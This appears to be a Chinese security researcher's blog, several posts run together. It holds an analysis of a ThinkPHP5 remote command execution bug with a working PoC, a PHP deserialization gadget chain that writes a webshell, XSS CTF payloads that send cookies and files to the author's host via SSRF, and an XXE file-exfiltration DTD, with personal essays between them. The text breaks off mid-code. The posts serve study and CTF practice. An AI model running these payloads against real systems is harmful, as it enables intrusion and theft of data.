ThinkPHP5 Request基类远程命令执行的思考

一天的时间,终于看见了一篇关于这个刚爆出来的洞的分析 ,都认为比较鸡肋吧?

启明星ADLab https://mp.weixin.qq.com/s/DGWuSdB2DvJszom0C_dkoQ

我感觉讲了一个大概,大篇幅的代码的粘贴赋值,有人说这是个鸡肋的洞,我当时第一时间看见,需要开debug,我也以为是个鸡肋,发现并不是,当然智者见智了。

其实这个洞很简单流程,Request基类 中的method方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
/*$method = strtoupper($_POST[Config::get('var_method')]);
if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
$this->method = $method;
$this->{$this->method}($_POST);
} else {
$this->method = 'POST';
}
unset($_POST[Config::get('var_method')]);*/
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
$this->method = $this->server('REQUEST_METHOD') ?: 'GET';
}
}
return $this->method;
}

官方对应method的修复方法我用注释括起来了。

1
2
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);

关键的两句,$this->method直接从$_POST里面拿出来的,显然可以有机会通过第二句执行Request类里面的一个方法,POC用的是Request构造函数__construct

1
2
3
4
5
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;
}
}

里面存在的一个类中属性覆盖。属性覆盖可以影响的是$filter 为全局过滤函数。在从Request 取值的时候都会用到这个全局的过滤函数,具体在 Request::input()中。例如 在Request::param, Request::get,Request::post.... 都会用到。

很简单我们需要做的是 执行method 这个方法,再执行input方法。

执行method其实在入口文件检查的路由的时候已经执行了。执行流程如下

1
App::run -> App::routeCheck() -> Route::check() -> $method = strtolower($request->method());

第一步完成了,至于为什么说要开debug,我感觉是一个通用的poc。只需要开启的debug,不用其他操作。整个框架下载下来就能触发。至于触发点并不是前面启明星辰AdLab分析中的那个触发点,很早就触发了。往下看

App::run()

1
2
3
4
5
if (self::$debug) {    
Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
}

这个点已经触发了。因为开了debug

再说为什么还是有点鸡肋呢, 即使在后面的默认的index/index/index 中 加了

1
Request::instance()->param();

却也不触发呢,按常理来说应该是会触发的,但是并没有触发。经过分析发现filter 这个包含全局过滤函数的数组竟然被覆盖了。

App::exec()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
switch ($dispatch['type']) {
case 'redirect': // 重定向跳转
$data = Response::create($dispatch['url'], 'redirect')
->code($dispatch['status']);
break;
case 'module': // 模块/控制器/操作
$data = self::module(
$dispatch['module'],
$config,
isset($dispatch['convert']) ? $dispatch['convert'] : null
);
break;
case 'controller': // 执行控制器操作
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = Loader::action(
$dispatch['controller'],
$vars,
$config['url_controller_layer'],
$config['controller_suffix']
);
break;
case 'method': // 回调方法
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = self::invokeMethod($dispatch['method'], $vars);
break;
case 'function': // 闭包
$data = self::invokeFunction($dispatch['function']);
break;
case 'response': // Response 实例
$data = $dispatch['response'];
break;
default:
throw new \InvalidArgumentException('dispatch type not support');
}

用的是兼容模式的URL ?s=index/index/index, 这里会进入 case 'module'

App::module

1
$request->filter($config['default_filter']);

这里filter被覆盖了。找到问题以后 添加一行Request::instance()->param(); 应该能成功执行了吧,发现不然。还是不行。

原POC 为 _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al

其实这个有问题,再看method 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
$this->method = $this->server('REQUEST_METHOD') ?: 'GET';
}
}
return $this->method;
}

!$method == true 时才会执行属性覆盖。在第一次 路由检查的时候 当执行完method 方法以后 $this->method 也进行了变量覆盖,为get。所以这里请求时method 应该设置为空。完成这一步其实还是不够的。还是发现执行不了命令。

这一次问题出在了 Request::instance()->param();

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if (empty($this->mergeParam)) {
$method = $this->method(true);
// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true;
}

this->mergeParam 为空时才会进入if进入 $method = $this->method(true);这一步是为什么 server[REQUEST_METHOD]=ls -al的原因。

1
2
3
4
5
6
7
8
Request.php:661, think\Request->param()
App.php:396, think\App::bindParams()
App.php:360, think\App::invokeMethod()
App.php:632, think\App::module()
App.php:477, think\App::exec()
App.php:160, think\App::run()
start.php:19, require()
index.php:17, {main}()

App::bindParams中 已经执行过了Request::param 方法 将mergeParam置为true了。所以这里必须在请求时传一个mergeParam为空

完整的pOC 为:

1
_method=__construct&filter[]=system&method=&server[REQUEST_METHOD]=ls -al&mergeParam=

说到这里终究是因为在App::module 中将filter又被覆盖了,所以显的比较鸡肋。我在寻找能否再找一个method 方法执行比较好的时间点,发现在文件日志驱动有一个,而且不错的一个链子这里我就不公布了。因为我还有用。

其实这个洞并不鸡肋,还是那句话智者见智。寒假挖洞生活 正式开始! 愿明年开春能找到一个好的工作!![坏笑]

永远不说放弃,努力再努力,终会如愿以偿!

边界与漫想

其实我一直想说说什么叫边界,博客的首页,我说我一直在寻找边界,什么是边界,边界到底在哪,两个命题。其实一直有一种莫名的不确定感在我心中。

唯一会让我恐惧的是面对不确定的情况,不确定来源于对事情的掌控能力。

The oldest and strongest emotion of mankind is fear, and the oldest and strongest kind of fear is fear of the unknown. 人类最古老、最强烈的情感是恐惧;而最古老、最强烈的恐惧,是对未知的恐惧 --- H. P. Lovecraft

边界的概念是2016 博客刚开的时候,我才逐渐意识到的。那时在绕waf的时候有一种思路就是找到规则的边界。后知后觉其实万事万物都有边界,但是知道吗?其实那很虚无缥缈。

2015年只身一人,选择了远方,到今年我快要毕业了。是呀时间匆匆,却来不及感叹。我经常会去提醒自己去做一个理性的人,不要让感性去支配自己,常常会给自己一种孤独感,为了让自己能静心的走下去。只是这些对吗?在不同的年龄段对这些问题,我有自己不同的看法,在如今这个年龄段,我逐渐否认了这些东西。

我发现自己越来越来容易被感动了,因为看到的一个小视频,或者因为生活遇到的一个小事。我很希望多付出一点,去获得一个感动。是自己越来越感性了吗?

那天晚上下班,如往常一样回学校去食堂,买了一份面找个没人的桌子坐了下来,拿出手机一边吃一边。这时候来了一个收拾桌子的阿姨,我也没太在意,她说“小同学,你手套都要掉出来了”。我回过神来发现手套是在外面,因为手套太大,确实有一小半露在口袋外面,我说“谢谢啊阿姨!”。然后继续开始自己的玩手机和吃饭。没想到是阿姨却没有走,还在说着“别玩手机太入迷,好好看好自己的东西。万一东西丢了怎么办?”。我很诧异,我没有说话,我只是一直笑,阿姨年龄应该50 多岁了,听口音带一点方言,好像不是天津人。看着阿姨,我迟迟没有讲话,还是一直在笑,最后阿姨也笑了。一个可能一生只会遇到一次的陌生人,在这一刻其实也不必说太多,但留下只有感动。

在食堂经常有那些外校的人,没有学生卡是打不了饭的。有一次一位阿姨,站在我前面,她不是学校里面的人。她没有卡,打不了饭,她找我求助,我也没带手机,她也没现金。突然我想到了我妈,如果有一天在外面她也这样,她该怎么办,是否有人帮她,这一次我没有要阿姨的钱,我帮阿姨刷了卡。阿姨要我电话号,我说不用 了,然后匆匆走开了。看着这位阿姨,我想起了我妈,可能这位阿姨也是一位母亲,有她的孩子,她的孩子是否也会担心她呢?

孤独感会让自己走的越来越远吗?自己要想的真的是孤独吗?以前我认为孤独感会让自己静下来心,远离那些喧嚣,让自己看的更透彻,对待事物的时候能让自己的心不再那么浮躁,确实适合在某些阶段。只是后来的我发现,人是有感情的东西,离不开的是这个自然和社会,需要经历是人情冷暖,人不是一座孤岛,不是52hz的Alice。刻意的去给自己孤独感,潜意识就会想挣脱这种情绪,其实这是我最大的感受,比如平时你去一个人去学习和工作的时候,你就会忍不住的去刷手机。人其实很害怕孤独,没有人想在置身于孤独的环境下。

关于边界同样如此复杂,摸不到寻不到,只能隐约感受都它存在。但我们的能做的是在不同的阶段结束的时候,给它一个总结,给新的一切来临之前一个启示。

每个人能坚强的生活着必然着自己所坚持的东西,我所坚持一是 要有一个好的身体,二是对 自己技术肯定。关于爱好我真的有很多想说的。

很多人用一生去做了一件自己不太喜欢的事,是否曾经有问过自己到底想要做什么?为什么没有做?席慕蓉在晚年的《独白中》中写过:“在一回首间,才忽然发现,原来我一生的种种努力,一直在为了周遭的人对我满意而已。为了博得他人的称许与微笑,我战战兢兢地将自己套入所有的模式所有的桎梏。走到途中才忽然发现,我只剩下一副模糊的面目,一副没有灵魂的肉身,和一条不能回头的路。”

我很庆幸自己的幼稚的倔强让我选择做我自己喜欢的做的东西。大学选专业的时候,我毅然决然的选择自己的喜欢的专业,在支援填报的时候我只选了一个信息安全专业,不服从调剂,1本的分数线甚至还选了几个二本的学校的信息安全,想想真的够狠的,父母都担心我录不上,其实我一点都不担心。

如果说小学初中高中,你无法选择,那么大学你如果还不任性的去选择一次,以后还怎么勇敢的做自己,我并不是单纯地怂恿你去叛逆追求个性,也不是想得瑟地告诉你去执着地做自己的人生有多么痛快,而是因为当你做自己时,为自己的内心做出选择时,你所获得的体验和阅历都会在某一天成为你人生中无比珍贵的财富。

当一个人去勇敢地追寻自己喜欢的事物时,他会获得很多丰富的体验,他会比别人更快更深入地了解自己。会慢慢知道自己究竟是一个怎样的人,喜欢什么,不喜欢什么,适合什么,不适合什么,他会逐渐发现潜藏在自己身体内的宝石,然后找到自己的方向,确立自己的优势和风格。

我其实很想问问身边的同学为什么要报这个专业,他们是否真的对这个专业感兴趣,还是说这个专业前景不错,选择了这个专业。为什么当初大学填志愿的时候,为什么不顾一切的选择自己曾经梦想的专业的呢,在大学选课的时候往往选的是并不是自己感兴趣的课而是那些容易过的课。你选择的社团,课外生活有时也不是你真正喜欢的,而只是为了让自己更合群。你在青春上的很多选择上都没有真正考虑过你最想要的是什么,喜欢的是什么。

身边有很多考研的同学,我问他们为什么要考研,他们说就现在出去找工作什么也不会.其实我很想问下一个问题,考完研是否就能让你能适应工作?我曾经想过考研,但我不知道我为什么要去考研,附和大流,很多人都考研,那么我也去?考研和技术,如果你选择了考研,技术在此刻你就要放下,有很多人想要学习和技术都兼顾,其实如果这样很难都走到目的地,选择一个也许你会走的更轻松越容易到达目的地。

希望我的朋友们,不要到走在人生旅途的终点时才恍然大悟,愿你此刻能回头。

关于努力的边界,应该达到什么一个状态才算真正的努力过。这也是让我想过很多的问题,你在不断前进的路上,是否会曾经因为看不到终点,内心是否有所动摇?其实很正常,这是一段需要经历的日子,在渡过热情高涨的那段日子,会有那么一段低沉的日子,看不到收获。其实这也我逐渐明白的道理,付出了就不一定有回报。其实做了很多事之后,初衷并不是希望有回报,而是当初你为什么选择要做。并不用在此之后去过多失望。

说了那么多,其实我一直想说的是,人要学会去思考,孩时我们在不断的学习周围的一切去快速的建立自己的世界观,而现在我们正处于一个另一个重要的时刻,去建立自己的价值观。周围的一切都值得我们去慢慢思考,去审视自己。去感受周围的一切,边界与没有边界,其实都不重要。只不过是在某个阶段定义的一种符号,边界是现在我这个阶段定义的一个符号,这符号承载我对这个阶段的看法和思考。

关于”边界“这个符号,它确实很虚无缥缈,从waf的规则的边界延伸到我想要的边界。其实我很渴望获得别人的认可,这就是我希望的边界,我认为当我触摸到这个边界之后,就会获得别人的认可。只是我一直在寻找这个边界,如何让自己边的更加优秀,才能获得认可。

2019年了,今年我就要毕业了,我会去北京去找到属于我边界,活着自己想要的模样,可能接下来的过程可能有些不如人意,但是既然选择了,就应该坚持。

北京天气和天津我想差不多,我习惯了天津的天气,北京也不会差吧。我不喜欢谈未来,谈的越多就没有未来了。

最后用一段话告别刚刚结束过去的2018和来临的2019!

在我不同的成长阶段,我对努力所达到的高峰有不同的答案。现在我觉得,我们通过努力,是让人真切感受到你的真诚,并且给予这份真诚一个默许的认可。而更为重要的是通过努力,不让这个世界改变你的初心。人越长大,初心就显得格外珍贵。此时此刻,做这个世界里一个背光的人,是我想做的。

Code Breaking 挑战赛 -- lumenserial

嘿嘿,在Code Breaking 开始的时候,太忙。就把最后 php 和 js 的两道题目的源码下了下来,js的题目有幸看完。关于最后的lumenserial 这道题目,今天上午花了一上午弄完, 发现与表哥们的writeup里面攻击链有些不同的一种方法,随便记录一下

因为没有了环境,根据表哥们的writeup 叙述,大概可以得到环境大概这样

php 7.2.12

disable_function : system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,apache_setenv,mb_send_mai

拿到源码,第一眼先看router

1
2
$router->get('/server/editor', 'EditorController@main');
$router->post('/server/editor', 'EditorController@main');

index 是 ueditor 的编辑器界面,上面两个router 应该是关键之处 ,跟进 EditorController 看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
protected function doUploadImage(Request $request)
{
//...
}

protected function doCatchimage(Request $request)
{
$sources = $request->input($this->config['catcherFieldName']);
$rets = [];

if ($sources) {
foreach ($sources as $url) {
$rets[] = $this->download($url);
}
}
//...
}

protected function doListImage(Request $request)
{
//...
}

private function download($url) {
//...
$content = file_get_contents($url);
$img = getimagesizefromstring($content);
//...
}

普通的图片上传,还有一个doCatchimage提供远程下载图片的函数,进入 download函数,直接从input 中拿到$url

, 中间过程没有任何过滤 file_get_contents($url); 很明显了 可以用phar://试试了 ,就需要一条好的攻击链子

其实有很多RCE的,比如monolog/rce1在里面就可以用(monolog1.23),可以用phpinfo找绝对路径,但都是单参数执行,且前面也说了基本所以RCE的函数都禁了,所以需要getshell,得找到file_put_contents 的双参数执行。目的很明显 我需要 call_user_func_array('file_put_contents',[])

第一步 寻找__wakeup 或者 __destruct

在phpggc 里面 基本所以的Laravel/RCE 都是 走的

\Illuminate\Broadcasting\PendingBroadcast::__destruct()

1
2
3
4
public function __destruct()
{
$this->events->dispatch($this->event);
}

$this->event单参数,这个时候有两条路,$this->events可控走带__call的小配件,走带dispatch() 方法的小配件

在寻找__call过程中,基本都是单参数 , 但是 其中一个带 __call的小配件很完美。

\Faker\Generator::__call

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}

public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}

public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);

return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}

$formatter提供可用的带键值 普通函数 , $provider提供实例的方法。这个配件可以作为我们的最后一步

我们可以找到$this->a->f($q,$p)形式的倒数第二步 ,$this->a可控,f对应$formatter['f']可控,$q,$p 也必须可控。

即对应

["f"=>"file_put_contents"] $q="/root/Downloads/lumenserial/html/1.php" $p = ""

下面回到第二步

既然__call走不了,找一找dispatch方法的小配件

Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher::dispatch

1
2
3
4
5
6
7
8
9
10
11
12
13
public function dispatch($eventName, Event $event = null)
{
if (null === $event) {
$event = new Event();
}

if (null !== $this->logger && $event->isPropagationStopped()) {
$this->logger->debug(sprintf('The "%s" event is already stopped. No listeners have been called.', $eventName));
}

$this->preProcess($eventName);
//...
}

跟进$this->preProcess($eventName)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private function preProcess($eventName)
{
if (!$this->dispatcher->hasListeners($eventName)) {
$this->orphanedEvents[] = $eventName;

return;
}

foreach ($this->dispatcher->getListeners($eventName) as $listener) {
$priority = $this->getListenerPriority($eventName, $listener);
$wrappedListener = new WrappedListener($listener, null, $this->stopwatch, $this);
$this->wrappedListeners[$eventName][] = $wrappedListener;
$this->dispatcher->removeListener($eventName, $listener);
$this->dispatcher->addListener($eventName, $wrappedListener, $priority);
}
}

是不是发现正好有我们需要的形式$this->a->f($q,$p)

$this->dispatcher->removeListener($eventName, $listener);

离我们的目标已经很近了a可控 ,f 也可控 ,$q可控,$p未知, 当然前提是能执行到这一行

下面仔细分析如何成功进入foreach

第一个if 必须返回true

1
2
3
4
5
$this->dispatcher->hasListeners($eventName)

$formatter['hasListeners'] = "is_string"

is_string($eventName) //return 1;

绕之,接下来

foreach ($this->dispatcher->getListeners($eventName) as $listener) {}

怎么进去foreach,仅仅用\(formatter 无法达到目的,无法返回带有我们phpcode的数组,别忘了我们还有\)provider 可以提供实例方法,这时候需要找一个带 getListeners 的小配件,恰好有那么一个

Illuminate\Events\Dispatcher::getListeners

1
2
3
4
5
6
7
8
9
10
11
12
13
public function getListeners($eventName)
{
$listeners = $this->listeners[$eventName] ?? [];

$listeners = array_merge(
$listeners,
$this->wildcardsCache[$eventName] ?? $this->getWildcardListeners($eventName)
);

return class_exists($eventName, false)
? $this->addInterfaceListeners($eventName, $listeners)
: $listeners;
}

$listeners = array_merge($this->listeners[$eventName],$this->wildcardsCache[$eventName])

$listeners 完全可控 , class_exists 判断 当然不存在 "/root/Downloads/lumenserial/html/1.php"这样一个类,返回带phpcode的数组

成功进入foreach,现在我需要保证的是在执行 this->dispatcher->removeListener($eventName, $listener);前保证代码不出错,成功执行到这一行

1
2
3
4
5
6
7
foreach ($this->dispatcher->getListeners($eventName) as $listener) {
$priority = $this->getListenerPriority($eventName, $listener);
$wrappedListener = new WrappedListener($listener, null, $this->stopwatch, $this);
$this->wrappedListeners[$eventName][] = $wrappedListener;
$this->dispatcher->removeListener($eventName, $listener);
$this->dispatcher->addListener($eventName, $wrappedListener, $priority);
}

跟进$this->getListenerPriority($eventName, $listener);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function getListenerPriority($eventName, $listener)
{
// we might have wrapped listeners for the event (if called while dispatching)
// in that case get the priority by wrapper
if (isset($this->wrappedListeners[$eventName])) {
foreach ($this->wrappedListeners[$eventName] as $index => $wrappedListener) {
if ($wrappedListener->getWrappedListener() === $listener) {
return $this->dispatcher->getListenerPriority($eventName, $wrappedListener);
}
}
}

return $this->dispatcher->getListenerPriority($eventName, $listener);
}

惊喜 return $this->dispatcher->getListenerPriority($eventName, $listener); 看来不用往后面执行了,这里就有一个现成的。保证 最后return 返回,即不设置$this->wrappedListeners[$eventName]即可。

现在 f $q $p都完全可控。:—)

整个链精髓在于带__call的最后这个小配件,相当于与一个反过来的invoker ,保存的不是函数执行时需要的参数,而是函数本身,还提供实例方法函数

整个chain 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
<?php 
namespace Illuminate\Broadcasting
{
class PendingBroadcast
{
protected $events;
protected $event;

function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}

namespace Symfony\Component\EventDispatcher\Debug
{
interface TraceableEventDispatcherInterface{}

class TraceableEventDispatcher implements TraceableEventDispatcherInterface
{
private $dispatcher;

public function __construct($dispatcher){
$this->dispatcher = $dispatcher;
}
}
}

namespace Illuminate\Contracts\Events
{

interface Dispatcher{}

}



namespace Illuminate\Events
{
use Illuminate\Contracts\Events\Dispatcher as DispatcherContract;

class Dispatcher implements DispatcherContract{

protected $listeners = [];
protected $wildcardsCache = [];

public function __construct($listeners,$wildcardsCache){

$this->listeners["/root/Downloads/lumenserial/html/1.php"] = $listeners;

$this->wildcardsCache["/root/Downloads/lumenserial/html/1.php"] = $wildcardsCache;
}
}
}

namespace Faker
{
class Generator
{
protected $formatters;
protected $providers;

public function __construct($formatters , $providers)
{
$this->formatters = $formatters;
$this->providers = $providers;
}
}
}

namespace maple\aaa{

$a_ = new \Illuminate\Events\Dispatcher(["<?php phpinfo();?>"],[]);

$a = new \Faker\Generator(["hasListeners" => "is_string","removeListener" => "file_put_contents","getListenerPriority"=>"file_put_contents"],[$a_]);

$b = new \Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher($a);

$c = new \Illuminate\Broadcasting\PendingBroadcast($b , "/root/Downloads/lumenserial/html/1.php");


file_put_contents("2.php",serialize($c));

}

最后,在本地测试时,echo serialize()时,复制输出或者 php chain.php > 1 时 会出错。 甚至php chain.php > 1 显示被截断。因为里面有\00 存在,在序列化

  1. protected 参数时 , 参数名前缀有 \x00\2A\x00 \2A=*

  2. private 参数时 , 参数名前缀为\x00类名\x00

永远不说放弃,努力努力在努力,终会如愿以偿!????

黑暗期

我知道你正经历一段黑暗期 不太容易

当你在穿山越岭的另一边 我在孤独的路上没有尽头

已经感冒半个月多,却还不好,我知道这不是身体的问题,因为我遇到过。-0-

本应该在暑假实习结束的时候,就写一篇文章记录下来。

我很想回家,散散心。不为别的,我就想让自己早点好起来,面对新的生活。

这段时间我称之为黑暗期,什么都没干,但是感觉自己好累,真的好累。

我看过了很多的心灵鸡汤,却还是过不好。就想韩寒说的一样,确实是这样。

而后我明白在知乎上看见了一个回答,后知后觉的明白,人要学会思考,去审视自己。到底自己缺什么,需要完善的地方。

那天下班我回家,路过离学校最近的那个红绿灯,有一条河,在桥上我看见了这辈子见过最美的傍晚。

淡蓝色,朦朦胧胧的天边,真的很奇妙,手机却意外没电,没办法记录那一刻。

其实很多时候,遇到的事情也一样。稍纵即逝

我真的很需要去规划一个未来的生活,和审视自己的机会。

二〇一八年九月十七日 23:48:17

HACK ME CTF-XSS 三部曲

无意见看见了 Hack Me

看了下XSS 篇,记录一下

XSSRF

很经典XSS 从 Admin flag -> xssrf 文件泄漏 -> xssrf 服务端应用

我看做出来的人不多,其实也有点意思,其实这三题我可以直接几分钟秒了。后面再说

#1 Steal Admin flag

是一个登录注册的邮件平台,注册登录,页面很简单普通的收发邮件,管理员会看。三个点 用户名,主题,内容。

手动fuzzing一下(页面有验证)。发现

1
() {} < script  < svg onload

存在过滤,还有一些函数,location.href,XMLHttpRequest 均过滤。走了一些小弯路。:)

后来发现并不是简单的过滤 on+++ 的事件函数, 它的正则可能是

1
< [\w\s]+(onload)|(onerror)

/ 绕之

1
< svg/onload=

最终playload:

1
< img < /onerror=location[’href‘]=‘http://www.m4p1e.com:9999/’+document.cookie src=1 / >

这里我没有用实体,因为没有必要,他过滤了location.href,但是location[‘href’] 绕之

拿到第一个admin Flag

#2 XSSRF FILE

很显然,文件泄漏,肯定又一个点我们包含他的文件。目录扫了一下存在配置文件common.·php,其实我第一件事不是扫目录,我看了一下管理员的面板

1
< img < /onerror=location[`href`]=`http://www.m4p1e.com:9999/`+encodeURIComponent(document.links[0])+`#`+encodeURIComponent(document.links[1])+`#`+encodeURIComponent(document.links[2])+`#`+encodeURIComponent(document.links[3])+`#`+encodeURIComponent(document.links[4])+`#`+encodeURIComponent(document.links[5])+`#`+encodeURIComponent(document.links[6])+`#`+encodeURIComponent(document.links[7])+`#` src=1 />

我看到我面板没有的一个页面request.php,有点东西

看一下这个request.php页面(中途我试过用管理员的session登录过,但他判断来源了,只能localhost登录,只能ssrf)

1
< svg/onload="var a = new & #88;MLHttpRequest();a['open']('get','./get.php',true& #41;;a.send(null& #41;;a.onreadystatechange=function(& #41;{if(this.readyState==4& #41;location['href']='http://m4p1e.com:9999/'+btoa(a.responseText& #41;& #125;" >

我没想着全部用实体来替代,XMLReuqestHttp,),}替换一下就行

拿到了页面,是一个post 表单,一个参数url,清楚了呗。就是它了

第二个Flag 在 common.php 所以最终playload如下

1
2
< svg/onload="var a = new & #88;MLHttpRequest(& #41;;‘open’](‘POST’,‘./request.php’,true& #41;;a.setRequestHeader(`Content-type`,`application/x-www-form-urlencoded`& #41;;a.send(`url=file:///var/www/html/common.php`& #41;;a.onreadystatechange=function(& #41;{if(this.readyState==4& 
#41;location[`href`]=`http://m4p1e.com:9999/`+btoa(a.responseText& #41;& #125;" >

读之拿到flag,也知道第三题redis的位置

第三题 XSSRF Redis

Redis 地址在 127.0.0.1:25566

gopher 之

1
2
< svg/onload="var a = new & #88;MLHttpRequest(& #41;;‘open’](‘POST’,‘./request.php’,true& #41;;a.setRequestHeader(`Content-type`,`application/x-www-form-urlencoded`& #41;;a.send(`url=gopher://127.0.0.1:25566/_TYPE flag`& #41;;a.onreadystatechange=function(& #41;{if(this.readyState==4& 
#41;location[`href`]=`http://m4p1e.com:9999/`+btoa(a.responseText& #41;& #125;" >

是个list,看一下长度

1
2
< svg/onload="var a = new & #88;MLHttpRequest(& #41;;‘open’](‘POST’,‘./request.php’,true& #41;;a.setRequestHeader(`Content-type`,`application/x-www-form-urlencoded`& #41;;a.send(`url=gopher://127.0.0.1:25566/_LLEN flag`& #41;;a.onreadystatechange=function(& #41;{if(this.readyState==4& 
#41;location[`href`]=`http://m4p1e.com:9999/`+btoa(a.responseText& #41;& #125;" >

53,即

1
2
< svg/onload="var a = new & #88;MLHttpRequest(& #41;;‘open’](‘POST’,‘./request.php’,true& #41;;a.setRequestHeader(`Content-type`,`application/x-www-form-urlencoded`& #41;;a.send(`url=gopher://127.0.0.1:25566/_LRANGE flag 0 53`& #41;;a.onreadystatechange=function(& #41;{if(this.readyState==4& 
#41;location[`href`]=`http://m4p1e.com:9999/`+btoa(a.responseText& #41;& #125;" >

拿下第三个flag

文章最前面,我说这道题可以几分钟秒了是有原因的,嘻嘻,我发第一封信的时候,我发现信的id是几百,并不是从1开始,而后是连续的,这说明我可以读前面的邮箱。甚至发邮箱,其实是可以的。直接把前面的人的信读了之后很轻易就拿到flag,我也发现其实并不用外部接受,可以让管理员把你要的东西直接发到你的邮件里,如果xss bot 不能访问外网,那着也就是必经之路。

现在xssCTF 新题很多,每次都能学到新的东西,了解新的特性。告诉我了一个道理,也印证了前面的想法,Xss不仅仅是bypass filters,更多在于js的特性,事件,方法属性,游览器的特性(解析和容错),CSP,CSS。路还很长~

XXE实体引用非预期错误

关于XXE,我自己想来重现一下,却发现很多地方并不行。但网上并没有好的解决方法,然后有了下文,记录一下,顺便填坑填坑.

php 版本:PHP Version 5.6.9-0+deb8u1+libxml 2.9.1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$xml=<<< EOF
< ?xml version="1.0"?>
< !DOCTYPE ANY[

< !ENTITY b SYSTEM "file:///etc/passwd">

]>
< c>&b;< /c>

EOF;

$data =simplexml_load_string($xml,"SimpleXMLElement",LIBXML_NOENT);
echo '< pre>';

print_r(($data));

echo '< /pre>';

用的simplexml_load_string() , 上面语句会引用一个外部实体file://协议,LIBXM_NOENT 常量2 表示解析实体 ,结果是正常回显的.

我想把这个实体的内容通过下一个实体引用的http请求发送出去,修改一下 DTD 即如下:

1
2
3
4
5
6
7
8
9
< ?xml version="1.0"?>
< !DOCTYPE ANY[

< !ENTITY % file SYSTEM 'php://filter/read=convert.base64-encode/resource=/etc/passwd'>
< !ENTITY % init "< !ENTITY % trick SYSTEM 'http://127.0.0.1:9999/?%file;'>">
%init;
%trick;

]>

这里我用PHP filter 编码了/etc/pass ,因为这里就不用担心一些文件里面特殊字符的影响,在传输的时候不用去考虑传输特殊字符。 init实体里面包裹了trick,这里我说一下为什么要这样做,而不是直接写trick,如果你不中间转一下http://127.0.0.1:9999/?%file里面file的值是不会被替换的,相当于替换了站位符。 监听nc -l -p 9999 DTD好像也没什么错,但是报错了Warning: simplexml_load_string(): Entity: line 5: parser error : PEReferences forbidden in internal subset in /var/www/html/xxe.php on line 16查了一下,禁止使用外部引用这样构造。但是我们可以用远程的DTD来代替本地的DTD定义。

1
2
3
4
5
6
7
8
9
< ?xml version="1.0"?>
< !DOCTYPE ANY[

< !ENTITY % remote SYSTEM 'http://127.0.0.1/evil.dtd'>
%remote;
%init;
%trick;

]>

evil.dtd

1
2
3
4
< !ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
< !ENTITY % init
"< !ENTITY &#37; trick SYSTEM 'http://127.0.0.1:9999/?%file;'>"
>

现在来说不会发生 parse 错误了,但是我又出现了奇怪的错误,有一个 parser error Warning: simplexml_load_string(): http://127.0.0.1/evil.dtd:3: parser error : Detected an entity reference loop in /var/www/html/xxe.php on line 16查了一波资料,隐约好像是说 加载的实体内容太大了。去看一下libxml source code,发现了xmlParserEntityCheck 函数会抛出 XML_ERR_ENTITY_LOOP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#define XML_PARSER_BIG_ENTITY 1000
#define XML_PARSER_NON_LINEAR 10
[…]
static int
xmlParserEntityCheck(xmlParserCtxtPtr ctxt, unsigned long size,
